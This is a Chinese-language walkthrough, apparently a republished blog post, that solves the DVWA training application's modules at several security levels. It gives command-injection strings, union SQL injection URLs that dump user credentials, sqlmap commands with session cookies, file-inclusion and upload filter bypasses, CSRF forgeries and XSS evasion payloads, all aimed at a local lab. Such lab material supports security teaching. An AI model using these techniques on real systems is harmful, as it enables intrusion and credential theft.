DVWA通关攻略零到一【全】

这篇具有很好参考价值的文章主要介绍了DVWA通关攻略零到一【全】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

概述

DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA 一共包含了十个攻击模块,分别是:Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、- File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境。

DVWA 还可以手动调整靶机源码的安全级别,分别为 Low,Medium,High,Impossible,级别越高,安全防护越严格,渗透难度越大。
一般 Low 级别基本没有做防护或者只是最简单的防护,很容易就能够渗透成功;而 Medium 会使用到一些非常粗糙的防护,需要使用者懂得如何去绕过防护措施;High 级别的防护则会大大提高防护级别,一般 High 级别的防护需要经验非常丰富才能成功渗透;
最后 Impossible 基本是不可能渗透成功的,所以 Impossible 的源码一般可以被参考作为生产环境 Web 防护的最佳手段。

链接:https://pan.baidu.com/s/1WfmvxbHG26UdKZXNzeolqA
提取码:xbaq

安装

1、将下载完成后的压缩包,解压,并放在phpstudy的www目录下【可根据需要是否需要对文件重命名
】,为了方便,重命名DVWA
DVWA通关攻略零到一【全】
2、访问127.0.0.1/dvwa【Windows系统 URL不区分大小写】
DVWA通关攻略零到一【全】
3、打开dvwa文件夹下的config文件下
DVWA通关攻略零到一【全】
4、使用编辑器打开该文件,需要将db_user和db_password修改为对应数据库的用户名和密码

DVWA通关攻略零到一【全】

6、最新版本查询MySQL数据库用户、密码
DVWA通关攻略零到一【全】

7、修改后,保存
DVWA通关攻略零到一【全】
8、将config.inc.php.dist文件 重命名为config.inc.php
DVWA通关攻略零到一【全】

9、再次访问http://127.0.0.1/dvwa
DVWA通关攻略零到一【全】
10、滑动页面到最后,点击create/reset database 按钮
DVWA通关攻略零到一【全】
11、用户登录

DVWA通关攻略零到一【全】

12、默认账号密码: 账号–admin,密码–password
DVWA通关攻略零到一【全】

Brute Force

Low

  1. 随便在登录框输入用户名和密码
  2. 开启代理,打开burpsuite工具,点击login并拦截包

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

在页面内右键把包放到intrude测试器模块

DVWA通关攻略零到一【全】

点击测试器,点击位置
DVWA通关攻略零到一【全】

1.点击清除把所有变量清除
2.分别双击输入的用户名和密码,点击添加,变为有效载荷
3.选择攻击类型,攻击类型有四种,这里出于实际情况,我们选择第四种集束炸弹的模式

Sniper: 单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换
Battering ram: 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的
Pichfork: 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配
Cluster bamb: 多参数做笛卡尔乘积模式爆破

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

点击有效载荷,设置参数字典
设置用户名字典

DVWA通关攻略零到一【全】
设置密码字典并开始攻击

DVWA通关攻略零到一【全】

字典跑完后,点击“长”使其按顺序或逆序排列,查看返回的数字,发现有数字和其他大多数数字不同即代表攻击成功

DVWA通关攻略零到一【全】

查看响应,显示攻击成功

DVWA通关攻略零到一【全】

源码分析:low等级只是把输入的用户名和密码放到数据库去查询并返回结果,并没有做任何的限制,只要字典够强大,很容易就跑出来

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

Meduim

Medium步骤和low等级完全一样,主要是源码多了一点东西导致难度会提高一点,但无伤大雅,low等级能跑出来的Medium也能跑出来,接下来就让我们分析一下Medium等级的源码吧

源码分析:Medium等级中分别对用户名和密码进行了查询,提高了安全性,主要区别是在登录失败后会执行sleep(2)函数,即程序休眠两秒,这两秒内不能再登录,这延长了我们爆破的时间但并不影响结果
DVWA通关攻略零到一【全】

High

源码分析:high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒,重点是增加了token值,这增加了难度,接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码

DVWA通关攻略零到一【全】

为了测试方便,这里我假设知道用户名就是admin,只爆破密码(带token),实际情况中可以考虑先找到正确的用户名或密码再针对性的爆破,不然工作量太大

爆破阶段:
1.输入用户名admin,密码任意
2.开启代理,使用burpsuite抓包

DVWA通关攻略零到一【全】

转到测试器模块——位置
1.清除所有变量
2.选中密码变量和token变量并添加为载荷
3.选择第三种攻击类型——音叉攻击,表示使用两个字典,密码和token的值进行逐行匹配

DVWA通关攻略零到一【全】

转到有效载荷
设置密码参数,添加字典

DVWA通关攻略零到一【全】
设置token参数
跳转到options选项页面
1.修改线程为1,大于1可能会有问题,因为token是每次验证完后才会新生成token,所以不能使用多线程进行爆破

DVWA通关攻略零到一【全】
2.下拉找到Grep——extract(这里是为了从我们的请求中提取到token,分辨特征,以便为每个密码找到对应的token)
3.勾选“从响应中提取以下项目”,点击添加
DVWA通关攻略零到一【全】

在弹出的界面里点击获取回复,从回复的数据里找到token的值,双击选中,上半部分的页面会自动分辨填值,得到token的特征,方便从回复中找到token,这里的token要复制一遍,方便在后面直接填充

DVWA通关攻略零到一【全】
DVWA通关攻略零到一【全】

回到有效载荷页面
设置第二个参数——token,有效载荷类型改为递归搜索,英文为recursive grep。
在第一个请求的初始有效负载部分把我们复制的token粘贴上去

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】
设置完毕,开始爆破!
爆破时发现有两个返回的数字不一样,发现密码为password时返回的html页面提示登录成功
DVWA通关攻略零到一【全】

Command Injection

Low

网站提示我们输入ip地址

DVWA通关攻略零到一【全】

尝试输入本机ip地址,127.0.0.1,点击提交,发现返回的数据和我们在cmd命令行里面执行ping 127.0.0.1的结果相似。网页端由于编码的问题所以有些是乱码

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

乱码解决办法:
在C:\phpStudy\PHPTutorial\WWW\DVWA\dvwa\includes目录下有个dvwaPage.ini.php文件,双击打开(这个路径根据自己电脑上dvwa的安装位置自行调整)
DVWA通关攻略零到一【全】

在文件中ctrl+f,用搜索栏查找utf-8,将UTF-8改为GBK或者GB2312即可

DVWA通关攻略零到一【全】

再进行一次测试,输入127.0.0.1,结果与在本机使用ping命令完全一致,说明这里可以让我们执行ping命令。

DVWA通关攻略零到一【全】

源码分析:对输入的ip地址进行ping操作,源码只让我们进行ping操作,没有其他动作,但它给了我们一个利用系统命令的平台。我们能不能在执行ping命令操作的同时执行其他命令呢?

DVWA通关攻略零到一【全】

这里我们要说一下命令连接符
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令

我们使用“|”符号作为连接符让计算机做出除ping以外的操作实现命令注入
结果显示注入成功!
命令:127.0.0.1 | dir
DVWA通关攻略零到一【全】

Medium

直接分析源码看看和Low等级有什么区别
源码分析:发现在Low等级源码的基础上添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入

DVWA通关攻略零到一【全】

使用‘&’命令连接符注入
命令:127.0.0.1 & dir

DVWA通关攻略零到一【全】

High

源码分析:发现还是一样的套路,也是过滤字符但过滤得更多了。但仔细观察发现有一个过滤是’| ‘,注意这个过滤是加了空格的,说明这个过滤其实是没用的,只需要’|’后面直接加入参数,不保留空格,我们依然可以用这个命令连接符进行命令注入

DVWA通关攻略零到一【全】

使用’|’连接符进行注入
命令:127.0.0.1 |dir

DVWA通关攻略零到一【全】

CSRF

Low

网站的本意是让我们在网站里更改密码

DVWA通关攻略零到一【全】

但是能够主要到当我们更改密码成功后url栏的参数是这样的
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
可以分析出password_new是我输入的密码,password_conf是我确认的密码,说明我们在网站上输入的信息是会在url栏这里进行一个传输执行

DVWA通关攻略零到一【全】

抓个包看看,发现url栏的信息和请求的信息是一致的

DVWA通关攻略零到一【全】

那是不是说明如果我能控制url栏里传入的参数,就能够不在网站内执行更改密码的操作呢?
更改url的参数:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=456789&password_conf=456789&Change=Change#
只需要在原来的url基础上该新密码和确认密码的参数即可

为了显示效果,我使当前页面是密码不匹配状态

DVWA通关攻略零到一【全】

在新标签内放入设置好的url,点击执行

DVWA通关攻略零到一【全】

页面跳转到了dvwa的更改密码界面,csrf攻击成功

DVWA通关攻略零到一【全】

网站的本意是在网站内更改密码,而我通过控制url的传参就能使我能在网站之外执行更改密码的操作,那么当我知道一个网站有csrf漏洞后也可以通过构造url的方式让别人点击执行他意想之外的行为

源码分析:源码中只对传入的密码和确认密码进行比较,两者一致则执行更改密码命令成功返回Password Change,不一致则返回Passwords did not match,没有任何过滤,所以能轻易执行csrf漏洞

DVWA通关攻略零到一【全】

Medium

源码分析:和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作

DVWA通关攻略零到一【全】

源码是通过referrer这个字段的参数进行判断的,通常情况下在增加referrer验证时就是网站本身当前页面的ip地址,我们通过抓包看看信息

DVWA通关攻略零到一【全】
DVWA通关攻略零到一【全】

构造一个页面,里面放一个a标签,链接为更改密码的url,当受害者点击时就会触发更改密码的操作,我们只需要把这个html页面的位置放在和网站同一个目录下,即在自己的电脑上构造一个访问目标网站域名的html文件

设计a标签
设计的url:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
DVWA通关攻略零到一【全】
网站的ip地址为:172.16.16.108

DVWA通关攻略零到一【全】

把设计的html页面名字改为网站的ip地址,里面的a标签就是更改密码的操作

DVWA通关攻略零到一【全】

打开html页面,点击a标签,触发攻击

DVWA通关攻略零到一【全】
抓包看referer

DVWA通关攻略零到一【全】
攻击完成

DVWA通关攻略零到一【全】

High

源码分析:可以看出high等级的主要区别是增加了一个token值的校验,每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token,获得用户token的方式有两种:

  1. 构造一个页面让用户点击,点击之后偷偷的读取用户登录网站的token,把token加到自己构造的更改密码的表单上做让用户点击完成攻击,但由于同源策略,一半无法获得token,也有解决方法,但那个更繁琐,这里不赘述了
  2. 如果用户网站上刚好有存储型漏洞,可以利用存储型漏洞与csrf漏洞配合,即通过存储型漏洞获得token再利用csrf漏洞结合拿到的token完成攻击

DVWA通关攻略零到一【全】

这里为了方便,就假设我通过xss存储型漏洞获得了token,而将token拼接到medium等级的表单中完成攻击
获得的token:20f07053354bf93a94e3bb45e2923312
DVWA通关攻略零到一【全】

在原来的表单中将token进行拼接

DVWA通关攻略零到一【全】

攻击完成

DVWA通关攻略零到一【全】

当网站添加了token验证时这个网站就已经很不好绕过了,所以最好的防护csrf的方法也是网站执行操作时添加token

SQL Injection

Low

1、输入User ID显示对应的name,并且输入的ID值在URL栏中

DVWA通关攻略零到一【全】

2、猜测 可能通过ID值带入数据库中进行查询,判断是否存在注入

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1 and 1=2 &Submit=Submit#

DVWA通关攻略零到一【全】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' &Submit=Submit#

DVWA通关攻略零到一【全】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

存在注入点,且单引号闭合

3、判断字段数,order by 5【使用二分法】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 5 -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 3 -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 2 -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

字段数为2

4、联合注入,观测显示位【回显点】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select 1,2 -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

5、查看当前数据库的版本号,及当前数据库名

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),database() -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

6、输出当前数据库下的所有表名

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

7、查询users表下面的所有字段名

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

8、查询users 表中的user、password字段数据

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 0,1 -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 3,1 -- qwe &Submit=Submit#

DVWA通关攻略零到一【全】

Medium

1、选择不同的ID显示对应的name,并且没有在URL中传参

DVWA通关攻略零到一【全】

2、猜测是否通过POST猜测,对当前页面抓包

抓取到传参1的数据包

DVWA通关攻略零到一【全】

将当前数据库发送到repeater模块中,进行重发包

DVWA通关攻略零到一【全】

将id修改为4

DVWA通关攻略零到一【全】

3、判断是否存在注入

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

数字型注入

4、判断字段数 order by

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

字段数为2

5、联合注入判断会显点

DVWA通关攻略零到一【全】

6、判断当前数据库版本号

DVWA通关攻略零到一【全】

7、查询当前数据库下所有的表名

DVWA通关攻略零到一【全】

8、查询users表下面的所有字段名

DVWA通关攻略零到一【全】

语法错误,猜测是否单引号的问题呢,由于MySQL默认支持16进制编解码,故对users进行16进制编码

DVWA通关攻略零到一【全】

9、查询users表中的user和password字段数据

DVWA通关攻略零到一【全】

High

1、当访问页面时,发现通过一个链接才能修改对应的ID

DVWA通关攻略零到一【全】

2、点击链接,传参

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

3、判断是否存在注入点

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

单引号闭合

4、判断字段数, order by

1' order by 3 -- qwe

DVWA通关攻略零到一【全】

1' order by 2 -- qwe

DVWA通关攻略零到一【全】

5、观察显示位

1' union select 1,2-- qwe

DVWA通关攻略零到一【全】

6、输出当前数据库版本号,当前数据库名

123' union select version(),database()-- qwe

DVWA通关攻略零到一【全】

7、查询当前数据库下的所有表名

123' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

DVWA通关攻略零到一【全】

8、查询users表下的所有字段数

123' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe

DVWA通关攻略零到一【全】

9、查询users表中的user和password字段

123' union select user,password from users limit 0,1 -- qwe

DVWA通关攻略零到一【全】

SQL Injection (Blind)

Low

1、当输入user ID后显示用户ID存在

DVWA通关攻略零到一【全】

当输入的ID数值特别大时

DVWA通关攻略零到一【全】

2、满足布尔盲注场景,使用SQLMap自动化注入

DVWA通关攻略零到一【全】

会显示302跳转是为什么呢?

当我们直接访问该链接的时候,会要求我们进行登录,故需要cookie值、

3、获取当前用户的cookie值

document.cookie

DVWA通关攻略零到一【全】

4、将当前的cookie信息用SQLmap跑包

>python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch

–batch:在进行命令交互式的时候,默认选择为YES

DVWA通关攻略零到一【全】

5、指定布尔盲注类型

https://xbxaq.com/doc/98/

DVWA通关攻略零到一【全】

python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch --technique=B

DVWA通关攻略零到一【全】

6、查询当前数据库

python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch --technique=B  --current-db

DVWA通关攻略零到一【全】

7、查询当前数据库下的表名

DVWA通关攻略零到一【全】

8、查询users表下的字段名

DVWA通关攻略零到一【全】

9、查询数据

DVWA通关攻略零到一【全】

Medium

1、选择不同的ID,返回的结果都为User ID exists in the database.,并且URL栏中没有相关传参,猜测可能使用了POST传参,对当前页面抓取数据包

DVWA通关攻略零到一【全】

2、发送到repeater模块中

鼠标停留在数据包页面,点击右键

DVWA通关攻略零到一【全】

3、修改id=1为id=123

DVWA通关攻略零到一【全】

页面发生了变化,满足布尔类型的盲注

4、使用sqlmap自动化注入

将当前页面的数据包信息,复制到本地的txt文本里面,并在id=处标记*号

DVWA通关攻略零到一【全】

将文本保存在sqlmap的根目录

DVWA通关攻略零到一【全】

5、sqlmap跑post型数据包,-r

DVWA通关攻略零到一【全】

6、查询当前数据库

DVWA通关攻略零到一【全】

7、查询dvwa库下的所有表

DVWA通关攻略零到一【全】

8、查询users表下的所有字段

DVWA通关攻略零到一【全】

9、查询数据

DVWA通关攻略零到一【全】

High

1、访问页面后,访问链接改变ID

DVWA通关攻略零到一【全】

2、访问链接,并且传参为2

DVWA通关攻略零到一【全】

传参为123时

DVWA通关攻略零到一【全】

3、满足布尔盲注条件,使用sqlmap自动化跑包

由于这里输入时一个url,响应是另一个URL

DVWA通关攻略零到一【全】

故使用参数–second-url= (设置二阶响应的结果显示页面的url)

传参是使用的POST型,故抓取请求包

DVWA通关攻略零到一【全】

传参为id=2&Submit=Submit

4、整体命令为

python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/" --cookie="id=2; security=high; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch

DVWA通关攻略零到一【全】

5、指定攻击类型为布尔盲注

python2 sqlmap.py -u "http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://172.16.16.246/dvwa/vulnerabilities/sqli_blind/" --cookie="id=2; security=high; PHPSESSID=a1ftsaputjm4uklhojck234vb1" --batch --technique=B

DVWA通关攻略零到一【全】

6、查询当前数据库

DVWA通关攻略零到一【全】

7、查询dvwa下的表名

DVWA通关攻略零到一【全】

8、查询users表中的字段名

DVWA通关攻略零到一【全】

9、查询数据

DVWA通关攻略零到一【全】

File Inclusion

Low

1、访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启

allow_url_include参数表示可以远程利用文件包含漏洞

DVWA通关攻略零到一【全】

修改为On,并且重启服务

再次访问则没有此信息

DVWA通关攻略零到一【全】

2、通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数

DVWA通关攻略零到一【全】

3、对page传参为http://127.0.0.1/1.php

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

成功解析

Medium

1、通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数

DVWA通关攻略零到一【全】

2、对page传参为http://127.0.0.1/1.php

DVWA通关攻略零到一【全】

进行了报错

3、查看源码

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

如果传参值中有http:// https:// …/ …\都将替换为空

4、如果传入的是htthttp://p://127.0.0.1/1.php

DVWA通关攻略零到一【全】

High

1、直接看后端源代码

DVWA通关攻略零到一【全】

关键代码为 使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

2、可利用file协议进行读文件

DVWA通关攻略零到一【全】

File Upload

首先我们准备一个一句话木马文件

123.php
    <?php phpinfo();?>

Low

1、访问页面有一个文件上传点

DVWA通关攻略零到一【全】

2、直接上传123.php

DVWA通关攻略零到一【全】

3、访问文件

DVWA通关攻略零到一【全】

Medium

1、直接上传123.php文件

DVWA通关攻略零到一【全】

2、修改123.php文件名为456.jpg,上传时通过burp抓取上传请求包,将456.jpg修改为456.php

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

3、上传成功 访问文件

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

High

1、当我们使用第二关的方式时,显示

DVWA通关攻略零到一【全】

2、查询后端源代码

DVWA通关攻略零到一【全】

strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string): 返回给定字符串的小写

对后缀名进行了判断

3、可通过文件包含漏洞结合使用,首先制作图片马

DVWA通关攻略零到一【全】

上传666.jpg

DVWA通关攻略零到一【全】

获取666.jpg的链接地址

http://127.0.0.1/dvwa/hackable/uploads/666.jpg

4、使用文件包含漏洞模块中的low关, 进行加载图片,成功解析

DVWA通关攻略零到一【全】

Weak Session IDs

DVWA通关攻略零到一【全】

cookie

位于用户的计算机上,用来维护用户计算机中的信息,直到用户删除。比如我们在网页上登录某个软件时输入用户名及密码时如果保存为cookie,则每次我们访问的时候就不需要登录网站了。我们可以在浏览器上保存任何文本,而且我们还可以随时随地的去阻止它或者删除。我们同样也可以禁用或者编辑cookie,但是有一点需要注意不要使用cookie来存储一些隐私数据,以防隐私泄露。

session

session称为会话信息,位于web服务器上,主要负责访问者与网站之间的交互,当访问浏览器请求http地址时,将传递到web服务器上并与访问信息进行匹配, 当关闭网站时就表示会话已经结束,网站无法访问该信息了,所以它无法保存永久数据,我们无法访问以及禁用网站。

session与cookie的区别

(1)Cookie以文本文件格式存储在浏览器中,而session存储在服务端它存储了限制数据量。它只允许4kb它没有在cookie中保存多个变量。

(2)cookie的存储限制了数据量,只允许4KB,而session是无限量的

(3)我们可以轻松访问cookie值但是我们无法轻松访问会话值,因此它更安全

(4)设置cookie时间可以使cookie过期。但是使用session-destory(),我们将会销毁会话。

总结:如果我们需要经常登录一个站点时,最好用cookie来保存信息,如果对于需要安全性高的站点以及控制数据的能力时需要用会话效果更佳,也可以结合两者,使网站按照我们的想法进行运行。

Low

1、访问页面,当在其他浏览器中重新打开该界面时要求重新进行登录

http://172.16.16.246/dvwa/vulnerabilities/weak_id/

DVWA通关攻略零到一【全】

2、对当前页面进行抓包

DVWA通关攻略零到一【全】

将cookie这行信息取出来,在火狐浏览器的插件Max hackbar

XSS(DOM)

Low

1、观察界面,当选择不同的标签时,URL栏中的default也会发生变化

DVWA通关攻略零到一【全】

default有可能是个传参点

2、传入xss代码

<script>alert(1)</script>

DVWA通关攻略零到一【全】

Medium

1、与第一关系统,选择不同的标签,default也会发生变化

DVWA通关攻略零到一【全】

2、传入代码,当我们传入<script>alert(1)</script>时,会强制跳转到English

DVWA通关攻略零到一【全】

3、分析源代码

DVWA通关攻略零到一【全】

array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在返回 true,键名不存在则返回 false。
stripos() 函数查找字符串在另一字符串中第一次出现的位置
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE

相同于过滤了<script 标签

4、尝试使用事件型

<img src=# onerror=alert(1)>

DVWA通关攻略零到一【全】

F12检查当前元素

DVWA通关攻略零到一【全】

发现输入的值在select标签里面

故闭合标签

</select><img src=# onerror=alert(1)>

DVWA通关攻略零到一【全】

High

1、直接查看后端源代码

DVWA通关攻略零到一【全】

switch条件判断,当default传参值为其他值是 默认选择为English

2、使用锚部分弹窗

DVWA通关攻略零到一【全】

XSS(Reflected)

Low

1、随机输入值

DVWA通关攻略零到一【全】

无论我们输入什么值,在页面中都会显示输入的信息,并且url的name传参值就是我们输入的值

2、对URL中的name传入 xss代码

<script>alert(1)</script>

DVWA通关攻略零到一【全】

Medium

1、同样对name传入xss代码

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

<script>标签呢??

2、查看源码信息

DVWA通关攻略零到一【全】

str_replace函数替换字符串中的一些字符
str_replace(find,replace,string)
	返回带有替换值的字符串或数组

将<script>标签替换为空

3、构造代码

<scr<script>ipt>alert(1)</script>

DVWA通关攻略零到一【全】

High

1、访问页面,传入参数

DVWA通关攻略零到一【全】

2、传参XSS代码

DVWA通关攻略零到一【全】

3、分析源代码

DVWA通关攻略零到一【全】

对<script>使用了正则表达式替换

4、使用事件型XSS代码

<img src=1 οnerrοr=alert(1)>

DVWA通关攻略零到一【全】

XSS(Stored)

Low

1、发现输入的内容被进行了存储

DVWA通关攻略零到一【全】

2、输入xss代码

<script>alert(1)</script>

发现name处存在字符限制

DVWA通关攻略零到一【全】

并且限制为前端限制

DVWA通关攻略零到一【全】

3、修改最大长度的值就可以了

DVWA通关攻略零到一【全】

DVWA通关攻略零到一【全】

Medium

1、同样先修改字符限制,在写入XSS代码

DVWA通关攻略零到一【全】

貌似<script>标签别过滤了

2、使用双写,成功弹窗

<scri<script>pt>alert(1)</script>

DVWA通关攻略零到一【全】

High

1、直接传入第二关的XSS双写代码

DVWA通关攻略零到一【全】

2、尝试使用事件型

<img src=1 onerror=alert(1)>

DVWA通关攻略零到一【全】文章来源地址https://www.toymoban.com/news/detail-403664.html

到了这里,关于DVWA通关攻略零到一【全】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • AIGC - Stable Diffusion 搭建【从零到一】

    解决音频内容GPU运算时遇到ffmpeg引起问题 write_py audio_spleeter.txt

    2024年02月09日
    浏览(54)
  • 如何制作流程图?教你从零到一制作

    如何 制作流程图 ? 在当今快节奏、信息化的社会,流程图已经成为了一种非常重要的沟通工具。它能够帮助我们清晰地表达复杂的过程、系统和思路。那么,如何从零开始制作流程图呢?本文将为你提供一份详细的指南。 一、明确目的和内容 在开始制作流程图之前,首先

    2024年01月24日
    浏览(69)
  • 长安链---从零到一部署Chainmaker-2.0.0

    长安链部署 长安链·ChainMaker具备自主可控、灵活装配、软硬一体、开源开放的突出特点,由北京微芯研究院、清华大学、北京航空航天大学、腾讯、百度和京东等知名高校、企业共同研发。取名“长安链”,喻意“长治久安、再创辉煌、链接世界”。 长安链作为区块链开源

    2023年04月08日
    浏览(55)
  • zookeeper单节点部署,手把手从零到一

    kafka戳这里:kafka单节点部署,手把手从零到一 事前准备: 1、一台Linux服务器或者是一台虚拟机 2、准备好JDK环境 3、安装好wget(当然也可以不用这个,只是用于下载安装包的一个工具,所以能下载好包就是没问题的) 4、需要了解vim的一些基础操作,不懂得可自行百度 1.1、

    2023年04月15日
    浏览(54)
  • 开发一个Android应用:从零到一的实践指南

    在这篇博文中,我们将逐步探讨如何从头开始构建一个Android应用。我们将从最基本的环境搭建开始,然后深入讨论组件、布局和其他核心概念。在完成整个过程后,你将会掌握一个简单但完整的Android应用开发流程。让我们开始吧! 准备开发环境 创建项目 理解项目结构 设计

    2024年02月08日
    浏览(87)
  • Vue+Electron打包桌面应用(从零到一完整教程)

    切记,整个项目的json文件不能有注释,及时没报错也不行,否则运行命令时还是有问题 参考此视频 1- 1.创建项目 1- 2. 安装依赖运行项目 1- 3.配置Electron 1- 4.修改配置文件 1) vite.config.js 2)main.js(项目根目录新增) 此为electron运行的入口文件 3)preload.js(项目根目录下新增) 4)package

    2024年02月07日
    浏览(55)
  • 【30天python从零到一】---第七天:列表和元组

    🍎 博客主页:🌙@披星戴月的贾维斯 🍎 欢迎关注:👍点赞🍃收藏🔥留言 🍇系列专栏:🌙 Python专栏 🌙请不要相信胜利就像山坡上的蒲公英一样唾手可得,但是请相信,世界上总有一些美好值得我们全力以赴,哪怕粉身碎骨!🌙 🍉一起加油,去追寻、去成为更好的自己

    2023年04月19日
    浏览(52)
  • 从零到一的方法:学习视频剪辑与嵌套合并技巧

    随着社交媒体和数字技术的快速发展,视频制作已是常见的工作。那么如何批量嵌套合并视频呢?下面一起来看云炫AI智剪如何批量合并的方法。 嵌套合并后的视频截图查看。 批量嵌套合并的操作: 操作1、在云炫AI智剪上选择“嵌套合并”功能,切换相应的版块。 操作2、把

    2024年02月02日
    浏览(69)
  • 入职从零到一:如何快速学习Git以适应工作环境

    本文并非面向完全的 Git 初学者,也不会详细介绍每一个 Git 命令和它的所有选项。相反,本文的目标读者是那些已经有一些基础,至少知道如何在本地仓库进行基本的版本控制操作,包括 git add , git commit 和 git log ,但是还没有在企业环境中真正使用 Git 进行过项目开发的开

    2024年02月11日
    浏览(79)
  • 纯编程从零到一创建图书管理系统V1.0

    上一篇文章 答应了道友们通过ChatGpt制作图书管理系统程序,今天第一版LMS(Library Management System)他来了,完整版代码放在在文末,有基础的道友可以 点此跳转,在安装中遇到问题,可以点击此处查看解决方案 效果图 功能列表 1、搜索图书只显示符合条件的图书所在行 2、添加

    2024年01月17日
    浏览(59)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包